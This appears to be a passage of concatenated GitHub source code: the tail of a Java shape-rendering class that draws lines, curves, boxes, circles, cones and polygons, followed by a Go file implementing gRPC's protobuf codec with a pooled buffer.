float z2) { line(x, y, z, x2, y2, z2, color, color); } /** @see #line(float, float, float, float, float, float) */ public final void line(Vector3 v0, Vector3 v1) { line(v0.x, v0.y, v0.z, v1.x, v1.y, v1.z, color, color); } /** @see #line(float, float, float, float, float, float) */ public final void line(float x, float y, float x2, float y2) { line(x, y, 0.0f, x2, y2, 0.0f, color, color); } /** @see #line(float, float, float, float, float, float) */ public final void line(Vector2 v0, Vector2 v1) { line(v0.x, v0.y, 0.0f, v1.x, v1.y, 0.0f, color, color); } /** @see #line(float, float, float, float, float, float, Color, Color) */ public final void line(float x, float y, float x2, float y2, Color c1, Color c2) { line(x, y, 0.0f, x2, y2, 0.0f, c1, c2); } public final void line(Vector3 v0, Vector3 v1, Color c1, Color c2) { line(v0.x, v0.y, v0.z, v1.x, v1.y, v1.z, c1, c2); } /** Draws a line using {@link ShapeType#Line} or {@link ShapeType#Filled}. The line is drawn with two colors interpolated * between the start and end points. */ public void line(float x, float y, float z, float x2, float y2, float z2, Color c1, Color c2) { if (shapeType == ShapeType.Filled) { rectLine(x, y, x2, y2, defaultRectLineWidth); return; } check(ShapeType.Line, null, 2); renderer.color(c1.r, c1.g, c1.b, c1.a); renderer.vertex(x, y, z); renderer.color(c2.r, c2.g, c2.b, c2.a); renderer.vertex(x2, y2, z2); } /** Draws a curve using {@link ShapeType#Line}. */ public void curve(float x1, float y1, float cx1, float cy1, float cx2, float cy2, float x2, float y2, int segments) { check(ShapeType.Line, null, segments * 2 + 2); float colorBits = color.toFloatBits(); // Algorithm from: http://www.antigrain.com/research/bezier_interpolation/index.html#PAGE_BEZIER_INTERPOLATION float subdivStep = 1f / segments; float subdivStep2 = subdivStep * subdivStep; float subdivStep3 = subdivStep * subdivStep * subdivStep; float pre1 = 3 * subdivStep; float pre2 = 3 * subdivStep2; float pre4 = 6 * subdivStep2; float pre5 = 6 * subdivStep3; float tmp1x = x1 - cx1 * 2 + cx2; float tmp1y = y1 - cy1 * 2 + cy2; float tmp2x = (cx1 - cx2) * 3 - x1 + x2; float tmp2y = (cy1 - cy2) * 3 - y1 + y2; float fx = x1; float fy = y1; float dfx = (cx1 - x1) * pre1 + tmp1x * pre2 + tmp2x * subdivStep3; float dfy = (cy1 - y1) * pre1 + tmp1y * pre2 + tmp2y * subdivStep3; float ddfx = tmp1x * pre4 + tmp2x * pre5; float ddfy = tmp1y * pre4 + tmp2y * pre5; float dddfx = tmp2x * pre5; float dddfy = tmp2y * pre5; while (segments-- > 0) { renderer.color(colorBits); renderer.vertex(fx, fy, 0); fx += dfx; fy += dfy; dfx += ddfx; dfy += ddfy; ddfx += dddfx; ddfy += dddfy; renderer.color(colorBits); renderer.vertex(fx, fy, 0); } renderer.color(colorBits); renderer.vertex(fx, fy, 0); renderer.color(colorBits); renderer.vertex(x2, y2, 0); } /** Draws a triangle in x/y plane using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void triangle(float x1, float y1, float x2, float y2, float x3, float y3) { check(ShapeType.Line, ShapeType.Filled, 6); float colorBits = color.toFloatBits(); if (shapeType == ShapeType.Line) { renderer.color(colorBits); renderer.vertex(x1, y1, 0); renderer.color(colorBits); renderer.vertex(x2, y2, 0); renderer.color(colorBits); renderer.vertex(x2, y2, 0); renderer.color(colorBits); renderer.vertex(x3, y3, 0); renderer.color(colorBits); renderer.vertex(x3, y3, 0); renderer.color(colorBits); renderer.vertex(x1, y1, 0); } else { renderer.color(colorBits); renderer.vertex(x1, y1, 0); renderer.color(colorBits); renderer.vertex(x2, y2, 0); renderer.color(colorBits); renderer.vertex(x3, y3, 0); } } public void triangle(Vector3 v1, Vector3 v2, Vector3 v3) { triangle(v1.x, v1.y, v1.z, v2.x, v2.y, v2.z, v3.x, v3.y, v3.z); } public void triangle(float x1, float y1, float z1, float x2, float y2, float z2, float x3, float y3, float z3) { check(ShapeType.Line, ShapeType.Filled, 6); float colorBits = color.toFloatBits(); if (shapeType == ShapeType.Line) { renderer.color(colorBits); renderer.vertex(x1, y1, z1); renderer.color(colorBits); renderer.vertex(x2, y2, z2); renderer.color(colorBits); renderer.vertex(x2, y2, z2); renderer.color(colorBits); renderer.vertex(x3, y3, z3); renderer.color(colorBits); renderer.vertex(x3, y3, z3); renderer.color(colorBits); renderer.vertex(x1, y1, z1); } else { renderer.color(colorBits); renderer.vertex(x1, y1, z1); renderer.color(colorBits); renderer.vertex(x2, y2, z2); renderer.color(colorBits); renderer.vertex(x3, y3, z3); } } /** Draws a triangle in x/y plane with colored corners using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void triangle(float x1, float y1, float x2, float y2, float x3, float y3, Color col1, Color col2, Color col3) { check(ShapeType.Line, ShapeType.Filled, 6); if (shapeType == ShapeType.Line) { renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x1, y1, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x2, y2, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x2, y2, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x3, y3, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x3, y3, 0); renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x1, y1, 0); } else { renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x1, y1, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x2, y2, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x3, y3, 0); } } /** Draws a rectangle in the x/y plane using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void rect(float x, float y, float width, float height) { check(ShapeType.Line, ShapeType.Filled, 8); float colorBits = color.toFloatBits(); if (shapeType == ShapeType.Line) { renderer.color(colorBits); renderer.vertex(x, y, 0); renderer.color(colorBits); renderer.vertex(x + width, y, 0); renderer.color(colorBits); renderer.vertex(x + width, y, 0); renderer.color(colorBits); renderer.vertex(x + width, y + height, 0); renderer.color(colorBits); renderer.vertex(x + width, y + height, 0); renderer.color(colorBits); renderer.vertex(x, y + height, 0); renderer.color(colorBits); renderer.vertex(x, y + height, 0); renderer.color(colorBits); renderer.vertex(x, y, 0); } else { renderer.color(colorBits); renderer.vertex(x, y, 0); renderer.color(colorBits); renderer.vertex(x + width, y, 0); renderer.color(colorBits); renderer.vertex(x + width, y + height, 0); renderer.color(colorBits); renderer.vertex(x + width, y + height, 0); renderer.color(colorBits); renderer.vertex(x, y + height, 0); renderer.color(colorBits); renderer.vertex(x, y, 0); } } /** Draws a rectangle in the x/y plane using {@link ShapeType#Line} or {@link ShapeType#Filled}. The x and y specify the lower * left corner. * @param col1 The color at (x, y). * @param col2 The color at (x + width, y). * @param col3 The color at (x + width, y + height). * @param col4 The color at (x, y + height). */ public void rect(float x, float y, float width, float height, Color col1, Color col2, Color col3, Color col4) { check(ShapeType.Line, ShapeType.Filled, 8); if (shapeType == ShapeType.Line) { renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x, y, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x + width, y, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x + width, y, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x + width, y + height, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x + width, y + height, 0); renderer.color(col4.r, col4.g, col4.b, col4.a); renderer.vertex(x, y + height, 0); renderer.color(col4.r, col4.g, col4.b, col4.a); renderer.vertex(x, y + height, 0); renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x, y, 0); } else { renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x, y, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x + width, y, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x + width, y + height, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x + width, y + height, 0); renderer.color(col4.r, col4.g, col4.b, col4.a); renderer.vertex(x, y + height, 0); renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x, y, 0); } } /** Draws a rectangle in the x/y plane using {@link ShapeType#Line} or {@link ShapeType#Filled}. The x and y specify the lower * left corner. The originX and originY specify the point about which to rotate the rectangle. */ public void rect(float x, float y, float originX, float originY, float width, float height, float scaleX, float scaleY, float degrees) { rect(x, y, originX, originY, width, height, scaleX, scaleY, degrees, color, color, color, color); } /** Draws a rectangle in the x/y plane using {@link ShapeType#Line} or {@link ShapeType#Filled}. The x and y specify the lower * left corner. The originX and originY specify the point about which to rotate the rectangle. * @param col1 The color at (x, y) * @param col2 The color at (x + width, y) * @param col3 The color at (x + width, y + height) * @param col4 The color at (x, y + height) */ public void rect(float x, float y, float originX, float originY, float width, float height, float scaleX, float scaleY, float degrees, Color col1, Color col2, Color col3, Color col4) { check(ShapeType.Line, ShapeType.Filled, 8); float cos = MathUtils.cosDeg(degrees); float sin = MathUtils.sinDeg(degrees); float fx = -originX; float fy = -originY; float fx2 = width - originX; float fy2 = height - originY; if (scaleX != 1 || scaleY != 1) { fx *= scaleX; fy *= scaleY; fx2 *= scaleX; fy2 *= scaleY; } float worldOriginX = x + originX; float worldOriginY = y + originY; float x1 = cos * fx - sin * fy + worldOriginX; float y1 = sin * fx + cos * fy + worldOriginY; float x2 = cos * fx2 - sin * fy + worldOriginX; float y2 = sin * fx2 + cos * fy + worldOriginY; float x3 = cos * fx2 - sin * fy2 + worldOriginX; float y3 = sin * fx2 + cos * fy2 + worldOriginY; float x4 = x1 + (x3 - x2); float y4 = y3 - (y2 - y1); if (shapeType == ShapeType.Line) { renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x1, y1, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x2, y2, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x2, y2, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x3, y3, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x3, y3, 0); renderer.color(col4.r, col4.g, col4.b, col4.a); renderer.vertex(x4, y4, 0); renderer.color(col4.r, col4.g, col4.b, col4.a); renderer.vertex(x4, y4, 0); renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x1, y1, 0); } else { renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x1, y1, 0); renderer.color(col2.r, col2.g, col2.b, col2.a); renderer.vertex(x2, y2, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x3, y3, 0); renderer.color(col3.r, col3.g, col3.b, col3.a); renderer.vertex(x3, y3, 0); renderer.color(col4.r, col4.g, col4.b, col4.a); renderer.vertex(x4, y4, 0); renderer.color(col1.r, col1.g, col1.b, col1.a); renderer.vertex(x1, y1, 0); } } /** Draws a line using a rotated rectangle, where with one edge is centered at x1, y1 and the opposite edge centered at x2, y2. */ public void rectLine(float x1, float y1, float x2, float y2, float width) { check(ShapeType.Line, ShapeType.Filled, 8); float colorBits = color.toFloatBits(); Vector2 t = tmp.set(y2 - y1, x1 - x2).nor(); width *= 0.5f; float tx = t.x * width; float ty = t.y * width; if (shapeType == ShapeType.Line) { renderer.color(colorBits); renderer.vertex(x1 + tx, y1 + ty, 0); renderer.color(colorBits); renderer.vertex(x1 - tx, y1 - ty, 0); renderer.color(colorBits); renderer.vertex(x2 + tx, y2 + ty, 0); renderer.color(colorBits); renderer.vertex(x2 - tx, y2 - ty, 0); renderer.color(colorBits); renderer.vertex(x2 + tx, y2 + ty, 0); renderer.color(colorBits); renderer.vertex(x1 + tx, y1 + ty, 0); renderer.color(colorBits); renderer.vertex(x2 - tx, y2 - ty, 0); renderer.color(colorBits); renderer.vertex(x1 - tx, y1 - ty, 0); } else { renderer.color(colorBits); renderer.vertex(x1 + tx, y1 + ty, 0); renderer.color(colorBits); renderer.vertex(x1 - tx, y1 - ty, 0); renderer.color(colorBits); renderer.vertex(x2 + tx, y2 + ty, 0); renderer.color(colorBits); renderer.vertex(x2 - tx, y2 - ty, 0); renderer.color(colorBits); renderer.vertex(x2 + tx, y2 + ty, 0); renderer.color(colorBits); renderer.vertex(x1 - tx, y1 - ty, 0); } } /** @see #rectLine(float, float, float, float, float) */ public void rectLine(Vector2 p1, Vector2 p2, float width) { rectLine(p1.x, p1.y, p2.x, p2.y, width); } /** Draws a cube using {@link ShapeType#Line} or {@link ShapeType#Filled}. The x, y and z specify the bottom, left, front corner * of the rectangle. */ public void box(float x, float y, float z, float width, float height, float depth) { depth = -depth; float colorBits = color.toFloatBits(); if (shapeType == ShapeType.Line) { check(ShapeType.Line, ShapeType.Filled, 24); renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x + width, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y, z + depth); renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x, y + height, z); renderer.color(colorBits); renderer.vertex(x, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z + depth); } else { check(ShapeType.Line, ShapeType.Filled, 36); // Front renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z); renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z); renderer.color(colorBits); renderer.vertex(x, y + height, z); // Back renderer.color(colorBits); renderer.vertex(x + width, y, z + depth); renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); // Left renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x, y + height, z); renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z); renderer.color(colorBits); renderer.vertex(x, y + height, z + depth); // Right renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x + width, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y + height, z); // Top renderer.color(colorBits); renderer.vertex(x, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z); renderer.color(colorBits); renderer.vertex(x + width, y + height, z + depth); renderer.color(colorBits); renderer.vertex(x, y + height, z + depth); // Bottom renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x, y, z + depth); renderer.color(colorBits); renderer.vertex(x + width, y, z); renderer.color(colorBits); renderer.vertex(x, y, z); } } /** Draws two crossed lines using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void x(float x, float y, float size) { line(x - size, y - size, x + size, y + size); line(x - size, y + size, x + size, y - size); } /** @see #x(float, float, float) */ public void x(Vector2 p, float size) { x(p.x, p.y, size); } /** Calls {@link #arc(float, float, float, float, float, int)} by estimating the number of segments needed for a smooth arc. */ public void arc(float x, float y, float radius, float start, float degrees) { arc(x, y, radius, start, degrees, Math.max(1, (int) (6 * (float) Math.cbrt(radius) * (degrees / 360.0f)))); } /** Draws an arc using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void arc(float x, float y, float radius, float start, float degrees, int segments) { if (segments <= 0) throw new IllegalArgumentException("segments must be > 0."); float colorBits = color.toFloatBits(); float theta = (2 * MathUtils.PI * (degrees / 360.0f)) / segments; float cos = MathUtils.cos(theta); float sin = MathUtils.sin(theta); float cx = radius * MathUtils.cos(start * MathUtils.degreesToRadians); float cy = radius * MathUtils.sin(start * MathUtils.degreesToRadians); if (shapeType == ShapeType.Line) { check(ShapeType.Line, ShapeType.Filled, segments * 2 + 2); renderer.color(colorBits); renderer.vertex(x, y, 0); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); float temp = cx; cx = cos * cx - sin * cy; cy = sin * temp + cos * cy; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } else { check(ShapeType.Line, ShapeType.Filled, segments * 3 + 3); for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x, y, 0); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); float temp = cx; cx = cos * cx - sin * cy; cy = sin * temp + cos * cy; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } renderer.color(colorBits); renderer.vertex(x, y, 0); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } cx = 0; cy = 0; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } /** Calls {@link #circle(float, float, float, int)} by estimating the number of segments needed for a smooth circle. */ public void circle(float x, float y, float radius) { circle(x, y, radius, Math.max(1, (int) (6 * (float) Math.cbrt(radius)))); } /** Draws a circle using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void circle(float x, float y, float radius, int segments) { if (segments <= 0) throw new IllegalArgumentException("segments must be > 0."); float colorBits = color.toFloatBits(); float angle = 2 * MathUtils.PI / segments; float cos = MathUtils.cos(angle); float sin = MathUtils.sin(angle); float cx = radius, cy = 0; if (shapeType == ShapeType.Line) { check(ShapeType.Line, ShapeType.Filled, segments * 2 + 2); for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); float temp = cx; cx = cos * cx - sin * cy; cy = sin * temp + cos * cy; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } // Ensure the last segment is identical to the first. renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } else { check(ShapeType.Line, ShapeType.Filled, segments * 3 + 3); segments--; for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x, y, 0); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); float temp = cx; cx = cos * cx - sin * cy; cy = sin * temp + cos * cy; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } // Ensure the last segment is identical to the first. renderer.color(colorBits); renderer.vertex(x, y, 0); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } cx = radius; cy = 0; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, 0); } /** Draws a circle using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void circle3(float x, float y, float z, float radius, int segments) { if (segments <= 0) throw new IllegalArgumentException("segments must be > 0."); float colorBits = color.toFloatBits(); float angle = 2 * MathUtils.PI / segments; float cos = MathUtils.cos(angle); float sin = MathUtils.sin(angle); float cx = radius, cz = 0; if (shapeType == ShapeType.Line) { check(ShapeType.Line, ShapeType.Filled, segments * 2 + 2); for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x + cx, y, z + cz); float temp = cx; cx = cos * cx - sin * cz; cz = sin * temp + cos * cz; renderer.color(colorBits); renderer.vertex(x + cx, y, z + cz); } // Ensure the last segment is identical to the first. renderer.color(colorBits); renderer.vertex(x + cx, y, z + cz); } else { check(ShapeType.Line, ShapeType.Filled, segments * 3 + 3); segments--; for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x + cx, y, z + cz); float temp = cx; cx = cos * cx - sin * cz; cz = sin * temp + cos * cz; renderer.color(colorBits); renderer.vertex(x + cx, y, z + cz); } // Ensure the last segment is identical to the first. renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x + cx, y, z + cz); } cx = radius; cz = 0; renderer.color(colorBits); // renderer.vertex(x + cx, y + cy, 0); renderer.vertex(x + cx, y, z + cz); } /** Calls {@link #ellipse(float, float, float, float, int)} by estimating the number of segments needed for a smooth ellipse. */ public void ellipse(float x, float y, float width, float height) { ellipse(x, y, width, height, Math.max(1, (int) (12 * (float) Math.cbrt(Math.max(width * 0.5f, height * 0.5f))))); } /** Draws an ellipse using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void ellipse(float x, float y, float width, float height, int segments) { if (segments <= 0) throw new IllegalArgumentException("segments must be > 0."); check(ShapeType.Line, ShapeType.Filled, segments * 3); float colorBits = color.toFloatBits(); float angle = 2 * MathUtils.PI / segments; float cx = x + width / 2, cy = y + height / 2; if (shapeType == ShapeType.Line) { for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(cx + (width * 0.5f * MathUtils.cos(i * angle)), cy + (height * 0.5f * MathUtils.sin(i * angle)), 0); renderer.color(colorBits); renderer.vertex(cx + (width * 0.5f * MathUtils.cos((i + 1) * angle)), cy + (height * 0.5f * MathUtils.sin((i + 1) * angle)), 0); } } else { for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(cx + (width * 0.5f * MathUtils.cos(i * angle)), cy + (height * 0.5f * MathUtils.sin(i * angle)), 0); renderer.color(colorBits); renderer.vertex(cx, cy, 0); renderer.color(colorBits); renderer.vertex(cx + (width * 0.5f * MathUtils.cos((i + 1) * angle)), cy + (height * 0.5f * MathUtils.sin((i + 1) * angle)), 0); } } } /** Calls {@link #cone(float, float, float, float, float, int)} by estimating the number of segments needed for a smooth * circular base. */ public void cone(float x, float y, float z, float radius, float height) { cone(x, y, z, radius, height, Math.max(1, (int) (4 * (float) Math.sqrt(radius)))); } /** Draws a cone using {@link ShapeType#Line} or {@link ShapeType#Filled}. */ public void cone(float x, float y, float z, float radius, float height, int segments) { if (segments <= 0) throw new IllegalArgumentException("segments must be > 0."); check(ShapeType.Line, ShapeType.Filled, segments * 4 + 2); float colorBits = color.toFloatBits(); float angle = 2 * MathUtils.PI / segments; float cos = MathUtils.cos(angle); float sin = MathUtils.sin(angle); float cx = radius, cy = 0; if (shapeType == ShapeType.Line) { for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); renderer.color(colorBits); renderer.vertex(x, y, z + height); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); float temp = cx; cx = cos * cx - sin * cy; cy = sin * temp + cos * cy; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); } // Ensure the last segment is identical to the first. renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); } else { segments--; for (int i = 0; i < segments; i++) { renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); float temp = cx; float temp2 = cy; cx = cos * cx - sin * cy; cy = sin * temp + cos * cy; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); renderer.color(colorBits); renderer.vertex(x + temp, y + temp2, z); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); renderer.color(colorBits); renderer.vertex(x, y, z + height); } // Ensure the last segment is identical to the first. renderer.color(colorBits); renderer.vertex(x, y, z); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); } float temp = cx; float temp2 = cy; cx = radius; cy = 0; renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); if (shapeType != ShapeType.Line) { renderer.color(colorBits); renderer.vertex(x + temp, y + temp2, z); renderer.color(colorBits); renderer.vertex(x + cx, y + cy, z); renderer.color(colorBits); renderer.vertex(x, y, z + height); } } /** Draws a polygon in the x/y plane using {@link ShapeType#Line}. The vertices must contain at least 3 points (6 floats x,y). */ public void polygon(float[] vertices, int offset, int count) { if (count < 6) throw new IllegalArgumentException("Polygons must contain at least 3 points."); if (count % 2 != 0) throw new IllegalArgumentException("Polygons must have an even number of vertices."); check(ShapeType.Line, null, count); float colorBits = color.toFloatBits(); float firstX = vertices[0]; float firstY = vertices[1]; for (int i = offset, n = offset + count; i < n; i += 2) { float x1 = vertices[i]; float y1 = vertices[i + 1]; float x2; float y2; if (i + 2 >= count) { x2 = firstX; y2 = firstY; } else { x2 = vertices[i + 2]; y2 = vertices[i + 3]; } renderer.color(colorBits); renderer.vertex(x1, y1, 0); renderer.color(colorBits); renderer.vertex(x2, y2, 0); } } /** @see #polygon(float[], int, int) */ public void polygon(float[] vertices) { polygon(vertices, 0, vertices.length); } /** Draws a polyline in the x/y plane using {@link ShapeType#Line}. The vertices must contain at least 2 points (4 floats x,y). */ public void polyline(float[] vertices, int offset, int count) { if (count < 4) throw new IllegalArgumentException("Polylines must contain at least 2 points."); if (count % 2 != 0) throw new IllegalArgumentException("Polylines must have an even number of vertices."); check(ShapeType.Line, null, count); float colorBits = color.toFloatBits(); for (int i = offset, n = offset + count - 2; i < n; i += 2) { float x1 = vertices[i]; float y1 = vertices[i + 1]; float x2; float y2; x2 = vertices[i + 2]; y2 = vertices[i + 3]; renderer.color(colorBits); renderer.vertex(x1, y1, 0); renderer.color(colorBits); renderer.vertex(x2, y2, 0); } } /** @see #polyline(float[], int, int) */ public void polyline(float[] vertices) { polyline(vertices, 0, vertices.length); } /** @param other May be null. */ private void check(ShapeType preferred, ShapeType other, int newVertices) { if (shapeType == null) throw new IllegalStateException("begin must be called first."); if (shapeType != preferred && shapeType != other) { // Shape type is not valid. if (!autoShapeType) { if (other == null) throw new IllegalStateException("Must call begin(ShapeType." + preferred + ")."); else throw new IllegalStateException("Must call begin(ShapeType." + preferred + ") or begin(ShapeType." + other + ")."); } end(); begin(preferred); } else if (matrixDirty) { // Matrix has been changed. ShapeType type = shapeType; end(); begin(type); } else if (renderer.getMaxVertices() - renderer.getNumVertices() < newVertices) { // Not enough space. ShapeType type = shapeType; end(); begin(type); } } /** Finishes the batch of shapes and ensures they get rendered. */ public void end() { renderer.end(); shapeType = null; } public void flush() { ShapeType type = shapeType; end(); begin(type); } /** Returns the current shape type. */ public ShapeType getCurrentType() { return shapeType; } public ImmediateModeRenderer getRenderer() { return renderer; } /** @return true if currently between begin and end. */ public boolean isDrawing() { return shapeType != null; } public void dispose() { renderer.dispose(); } }
{ "pile_set_name": "Github" }
/* * * Copyright 2018 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ // Package proto defines the protobuf codec. Importing this package will // register the codec. package proto import ( "math" "sync" "github.com/golang/protobuf/proto" "google.golang.org/grpc/encoding" ) // Name is the name registered for the proto compressor. const Name = "proto" func init() { encoding.RegisterCodec(codec{}) } // codec is a Codec implementation with protobuf. It is the default codec for gRPC. type codec struct{} type cachedProtoBuffer struct { lastMarshaledSize uint32 proto.Buffer } func capToMaxInt32(val int) uint32 { if val > math.MaxInt32 { return uint32(math.MaxInt32) } return uint32(val) } func marshal(v interface{}, cb *cachedProtoBuffer) ([]byte, error) { protoMsg := v.(proto.Message) newSlice := make([]byte, 0, cb.lastMarshaledSize) cb.SetBuf(newSlice) cb.Reset() if err := cb.Marshal(protoMsg); err != nil { return nil, err } out := cb.Bytes() cb.lastMarshaledSize = capToMaxInt32(len(out)) return out, nil } func (codec) Marshal(v interface{}) ([]byte, error) { if pm, ok := v.(proto.Marshaler); ok { // object can marshal itself, no need for buffer return pm.Marshal() } cb := protoBufferPool.Get().(*cachedProtoBuffer) out, err := marshal(v, cb) // put back buffer and lose the ref to the slice cb.SetBuf(nil) protoBufferPool.Put(cb) return out, err } func (codec) Unmarshal(data []byte, v interface{}) error { protoMsg := v.(proto.Message) protoMsg.Reset() if pu, ok := protoMsg.(proto.Unmarshaler); ok { // object can unmarshal itself, no need for buffer return pu.Unmarshal(data) } cb := protoBufferPool.Get().(*cachedProtoBuffer) cb.SetBuf(data) err := cb.Unmarshal(protoMsg) cb.SetBuf(nil) protoBufferPool.Put(cb) return err } func (codec) Name() string { return Name } var protoBufferPool = &sync.Pool{ New: func() interface{} { return &cachedProtoBuffer{ Buffer: proto.Buffer{}, lastMarshaledSize: 16, } }, }
{ "pile_set_name": "Github" }
